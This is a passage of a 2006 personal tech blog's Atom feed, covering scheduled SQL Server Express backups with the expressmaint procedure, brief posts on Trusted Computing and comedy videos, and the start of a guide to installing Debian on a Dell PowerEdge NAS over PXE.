style="font-family: trebuchet ms;" class="codesample"&gt;&lt;span style="font-weight: bold;"&gt;sqlcmd -S .\SQLExpress -i c:\enableprocs.sql&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;this enables the Ole Automation Procedures and the XP_CMDshell.&lt;br /&gt;&lt;br /&gt;Get the expressmaint.sql script &lt;a href="http://www.sqldbatips.com/showcode.asp?ID=26"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;extract the script and save the .sql file to c:\expressmaint.sql&lt;br /&gt;&lt;br /&gt;execute this command&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;sqlcmd -S .\SQLExpress -i c:\expressmaint.sql&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This installs the expressmaint stored procedure which is necessary for this backup method.&lt;br /&gt;&lt;br /&gt;PARAMETERS&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;table style="font-family: trebuchet ms;" class="rParent" cellpadding="2" cellspacing="2" width="100%"&gt;&lt;tbody&gt;&lt;tr class="stdtext"&gt;&lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@database&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;Y&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;NONE&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;The target database for the maintenance         operation. Valid values are a single database name, ALL_USER which will         process all user databases and ALL_SYSTEM which will process all system       databases&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@optype &lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;Y&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;NONE&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;p align="justify"&gt;The type of maintenance         operation to be performed. Valid values are&lt;/p&gt;       &lt;div align="justify"&gt;         &lt;ul&gt;&lt;li&gt; DB - Full Database Backup&lt;/li&gt;&lt;li&gt;DIFF - Differential Database Backup&lt;/li&gt;&lt;li&gt;LOG - Log Backup&lt;/li&gt;&lt;li&gt;CHECKDB - Database Integrity Check&lt;/li&gt;&lt;li&gt;REINDEX - Rebuild all indexes&lt;/li&gt;&lt;li&gt;REORG - Reorganize all indexes&lt;/li&gt;&lt;/ul&gt;     &lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@backupwith&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;NULL&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;Specify additional backup options as documented       in BOL for the BACKUP WITH command&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@backupfldr&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;NULL&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;The base folder to         write the backups to. Sub folders will be created for each database&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@verify&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;1&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;Indicates whether to verify the backup file.&lt;br /&gt;      Valid values are 1 and 0 with 1 = TRUE and 0 = FALSE&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@verifywith&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;NULL&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;Specify additional verify options as documented     in BOL for the VERIFY WITH command&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@dbretainunit&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;NULL&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;The unit of measure for the @dbretainval         parameter. Valid values are minutes, hours, days, weeks, months and copies.         The combination of these two parameters determines how long or how       many copies of old backup files are kept&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@dbretainval&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;1&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;The time period or number of copies of old       backups to keep&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@report&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;1&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;Indicates whether to produce a report of         the maintenance carried out.&lt;br /&gt;      Valid values are 1 and 0 with 1 = TRUE and 0 = FALSE&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@reportfldr&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;NULL&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;The folder where maintenance reports are       written to if @report = 1&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@rptretainunit&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;NULL&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;The unit of measure for the @rptretainval         parameter. Valid values are minutes, hours, days, weeks, months and copies.         The combination of these two parameters determines how long or how     many copies of old reports are kept&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@rptretainval&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;1&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;The time period or number of copies of old     reports to keep&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@checkattrib&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;0&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;Indicates whether to check the archive bit         on a backup file before deleting it. This is a safety check to prevent         deletion of files that have not been backed up onto tape.&lt;br /&gt;      Valid values are 1 and 0 with 1 = TRUE and 0 = FALSE&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" height="20" valign="middle" width="90"&gt;&lt;strong&gt;@delfirst&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;0&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;Indicates whether to delete old backups         prior to doing the current backup. This is not advisable but can be useful         if disk space is limited.&lt;br /&gt;Valid values are 1 and 0 with 1 = TRUE and 0 = FALSE&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr class="stdtext"&gt;     &lt;td style="font-style: italic;" align="left" valign="middle" width="90"&gt;&lt;strong&gt;@debug&lt;/strong&gt;&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;N&lt;/td&gt;     &lt;td style="font-style: italic;" align="center" valign="middle" width="70"&gt;0&lt;/td&gt;     &lt;td style="font-style: italic;" align="left" valign="middle"&gt;&lt;div align="justify"&gt;Indicates whether print out debug information         such as the commands generated and the contents of the temporary tables         used in the procedure.&lt;br /&gt;Valid values are 1 and 0 with 1 = TRUE     and 0 = FALSE&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;pre style="font-family: trebuchet ms;" class="codesample"&gt;This is the script that I use to backup all user databases, save it as  fullbackup.sql in c:\&lt;br /&gt;&lt;span style="font-style: italic;"&gt;exec expressmaint&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   @database      = 'ALL_USER', &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   @optype        = 'DB',&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   @backupfldr    = 'd:\backups',&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   @reportfldr    = 'd:\reports',&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   @verify        = 1,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   @dbretainunit  = 'weeks',&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   @dbretainval   = 1,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   @rptretainunit = 'weeks',&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   @rptretainval  = 1,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   @report        = 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you look at the parameters you will see that it backups all user databases, it puts the backups in d:/backups and the reports in d:/reports&lt;br /&gt;it also retains reports and backups for 1 week.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Then just set up a scheduled task in windows to run&lt;/span&gt;&lt;br /&gt;&lt;pre style="font-family: trebuchet ms; font-weight: bold;" class="codesample"&gt;sqlcmd -S .\SQLExpress -i c:\fullbackup.sql&lt;/pre&gt;&lt;span style="font-family: trebuchet ms;"&gt;on whatever schedule you like. I recommend daily backups if not every 12hrs.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-115503782726623317?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/115503782726623317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=115503782726623317' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/115503782726623317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/115503782726623317'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/08/automating-sql-2005-express-edition.html' title='Automating SQL 2005 Express Edition Backups'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-115435259472482665</id><published>2006-07-31T13:26:00.000Z</published><updated>2006-07-31T13:30:59.626Z</updated><title type='text'>Trusted Computing</title><content type='html'>&lt;span style="font-family:trebuchet ms;"&gt;This is a video demonstrating some of the ideas behind "Trusted Computing" from an industry and a personal standpoint.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I like the idea of trusted computing, in that I will choose what to "trust" in as much as if i decide to make a device do something it wasnt designed to do, I can "trust" it and let it operate alongside whatever else I have plugged in. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;In the case of industry Trusted Computing will take this away, it will restrict innovation and limit the spread of ideas, it will affect the 2nd hand hardware market as each device could be restricted to its original purchaser.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="350" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/K1H7omJW4TI"&gt;&lt;embed src="http://www.youtube.com/v/K1H7omJW4TI" type="application/x-shockwave-flash" height="350" width="425"&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-115435259472482665?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/115435259472482665/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=115435259472482665' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/115435259472482665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/115435259472482665'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/07/trusted-computing.html' title='Trusted Computing'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-115401807531416117</id><published>2006-07-27T16:33:00.000Z</published><updated>2006-07-27T16:41:00.796Z</updated><title type='text'>Another Funny Video</title><content type='html'>&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;Found out today how to post youTube videos on blogger, so have gone a bit nuts. This one has been doing the rounds for a while, but it still makes me laugh &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="350" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/BzbOoJNC_TU"&gt;&lt;embed src="http://www.youtube.com/v/BzbOoJNC_TU" type="application/x-shockwave-flash" height="350" width="425"&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-115401807531416117?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/115401807531416117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=115401807531416117' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/115401807531416117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/115401807531416117'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/07/another-funny-video.html' title='Another Funny Video'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-115400032582145051</id><published>2006-07-27T11:37:00.000Z</published><updated>2006-07-27T11:38:53.510Z</updated><title type='text'>Funny Mac Videos</title><content type='html'>&lt;span style="font-family:trebuchet ms;"&gt;These are some of the funniest mac videos that I have found so far, I hope that they make some more.&lt;br /&gt;&lt;br /&gt;Networking:&lt;/span&gt;&lt;br /&gt;&lt;object style="font-family: trebuchet ms;" height="350" width="425"&gt;&lt;param name="movie" value="http://youtube.com/v/q8lW8ndh5BU"&gt;&lt;br /&gt;&lt;embed src="http://youtube.com/v/q8lW8ndh5BU" type="application/x-shockwave-flash" height="350" width="425"&gt;&lt;br /&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Gaming:&lt;/span&gt;&lt;br /&gt;&lt;object style="font-family: trebuchet ms;" height="350" width="425"&gt;&lt;param name="movie" value="http://youtube.com/v/Rjpn3L3bSJQ"&gt;&lt;br /&gt;&lt;embed src="http://youtube.com/v/Rjpn3L3bSJQ" type="application/x-shockwave-flash" height="350" width="425"&gt;&lt;br /&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Performance:&lt;/span&gt;&lt;br /&gt;&lt;object style="font-family: trebuchet ms;" height="350" width="425"&gt;&lt;param name="movie" value="http://youtube.com/v/oc4oP_ITqMc"&gt;&lt;br /&gt;&lt;embed src="http://youtube.com/v/oc4oP_ITqMc" type="application/x-shockwave-flash" height="350" width="425"&gt;&lt;br /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-115400032582145051?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/115400032582145051/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=115400032582145051' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/115400032582145051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/115400032582145051'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/07/funny-mac-videos.html' title='Funny Mac Videos'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-114353766985243622</id><published>2006-03-28T09:19:00.000Z</published><updated>2006-03-28T10:42:38.890Z</updated><title type='text'>Installation of Debian on a Dell Poweredge 715n</title><content type='html'>&lt;span style="font-family: trebuchet ms;"&gt;As promised here is a detailed installation guide for debian on a PE715n NAS, in my case I am using it as a high capacity mirrored offsite backup (one onsite, matching one in a different office)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;I'm still working on ironing out some of the bugs in my atrocious grammar so don't expect this to be the final version.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;Installing Debian on a Dell Poweredge 715n NAS&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;This device is a 1u headless (no keyboard, mouse or monitor) computer, PIII 1ghz w/ 256MB RAM and 4 IDE HDDs accessible through the front bezel. It is designed to be installed using the Dell OpenManage and Kickstart software to install windows, this isn’t the easiest solution in the world, I wasn’t able to get access to the machine to configure it using this method after 4-5hrs work but was able to install debian within an hour of setting to the task (I Was much quicker the second time round)&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;This document is intended to explain the process for anyone that is interested or has one of these boxes to install and want a free O/S on it.&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;This install was performed via PXE, &lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;span style="font-size: 10pt;"&gt;The PXE (Preboot eXecution Environment) as described in the [ftp://download.intel.com/labs/manage/wfm/download/pxespec.pdf specification (v2.1)] published by Intel and Systemsoft is an environment to bootstrap computers using a network interface card independently of available data storage devices (like hard disks) or installed operating systems (like GNU/Linux). ...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;span style="font-size: 10pt;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;This method requires an additional PC with a network port and a serial port. I used two separate machines (desktop w/ serial connection and network connection) and a laptop with a network connection for logging in to the server via SSH post-installation and getting more information off the internet!&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;The hardware setup is as follows.&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;Requirements&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;Crossover RJ45 network cable&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;Null-Modem serial cable &lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;Active network connection (DHCP server preferred but not essential)&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;PC w/serial port and network connection&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;Step 1: configure Host PC for PXE environment&lt;/p&gt;  &lt;ol style="margin-top: 0cm; font-family: trebuchet ms;" start="1" type="1"&gt;&lt;li class="MsoNormal" style=""&gt;get      tftpd32 from &lt;a href="http://tftpd32.jounin.net/"&gt;http://tftpd32.jounin.net&lt;/a&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;unzip      this to any folder&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;get      the Debian net install from http://ftp.us.debian.org/debian/dists/unstable/main/installer-i386/current/images/netboot/&lt;br /&gt;     download the netboot.tar.gz file and the pxelinux.0 file&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;extract      the netboot.tar.gz file to a folder called tftpboot and copy the      pxelinux.0 file to this directory as well&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;run      tftpd32 and go to the settings button (centre at bottom of window)&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;make      sure the following boxes are ticked&lt;br /&gt;     TFTP server, Syslog Server, DHCP Server, Save syslog message, PXE      Compatibility, Show Progress bar. Set TFTP Security to none and set the      base directory to where you extracted the netboot.tar.gz file, click on ok      to return to the main menu&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;on      the DHCP server tab enter the following&lt;br /&gt;     IP pool starting address: 192.168.1.1&lt;br /&gt;     Size of pool: 10&lt;br /&gt;     Bootfile: pxelinux.0&lt;br /&gt;     WINS/DNS Server: 0.0.0.0&lt;br /&gt;     Default Router: 0.0.0.0&lt;br /&gt;     Mask: 255.255.255.0&lt;br /&gt;     Domain name:&lt;br /&gt;     Additional Option: 0&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;click      on save (vertical box to right of options)&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Set      the “Current Directory” to the directory where you extracted      netboot.tar.gz&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Exit      tftpd32 and start it again&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Connect      the network port on the PXE host pc to the 1&lt;sup&gt;st&lt;/sup&gt; net interface on      the powervault using the crossover cable&lt;span style=""&gt;       &lt;/span&gt;and connect the serial cable as well&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;in      the tftpboot/debian-installer/i386/ directory there is a folder called      pxelinux.cfg.serial-9600 copy the “default” file contained within to the      tftpboot/pxelinux.cfg directory and open this file in your preferred      text-editor (I used notepad as it was the only one installed on this PC)&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;do a      search and replace for 9600 and replace it with 115200&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Start      hyperterminal or your preferred terminal emulator with the following      parameters&lt;br /&gt;     Bits per second: 115200&lt;br /&gt;     Data bits: 8&lt;br /&gt;     Parity: None&lt;br /&gt;     Stop bits: 1&lt;br /&gt;     Flow control: Xon/Xoff&lt;/li&gt;&lt;/ol&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;br /&gt; &lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt; &lt;!--[endif]--&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;Step 2: Setup the Powervault &lt;br /&gt; &lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt; &lt;!--[endif]--&gt;&lt;/p&gt;  &lt;ol style="margin-top: 0cm; font-family: trebuchet ms;" start="1" type="1"&gt;&lt;li class="MsoNormal" style=""&gt;Power      on the server and on the host computer hyperterminal window you will see      the serial output of the boot process, there will be a prompt “Press F2      for Setup function” when you see this immediately press F2 (also try      ESC+2), the boot will appear to continue but it will bring up a blue menu.      Select option 3 “Reinstallation”, the server will bring up the message      “This option will be carried out when the server reboots”, press Y to      confirm this&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;the      server will reboot and after about 2-3 min will bring up a prompt(it may      be a bit hard to read depending on your terminal emulator) press enter      here and the debian installation process will begin.&lt;/li&gt;&lt;/ol&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;Step 3: The debian installation pt.1 (Basics)&lt;br /&gt; &lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt; &lt;!--[endif]--&gt;&lt;/p&gt;  &lt;ol style="margin-top: 0cm; font-family: trebuchet ms;" start="1" type="1"&gt;&lt;li class="MsoNormal" style=""&gt;Plug      in the other network connection to the second Ethernet port on the server &lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Select      the default language (English)&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;The      next window will be the network setup, select eth1 as the primary (eth0 is      the port connected to the crossover cable) if you have a DHCP server it      should pick it up automatically, otherwise you will have to setup up your      connection manually&lt;/li&gt;&lt;/ol&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;Step 4: The debian installation pt. 2 (partitioning and LVM)&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;ol style="margin-top: 0cm; font-family: trebuchet ms;" start="1" type="1"&gt;&lt;li class="MsoNormal" style=""&gt;At      the partitioning options screen, select the manual method.&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;On      the next screen remove any existing partitions from all the 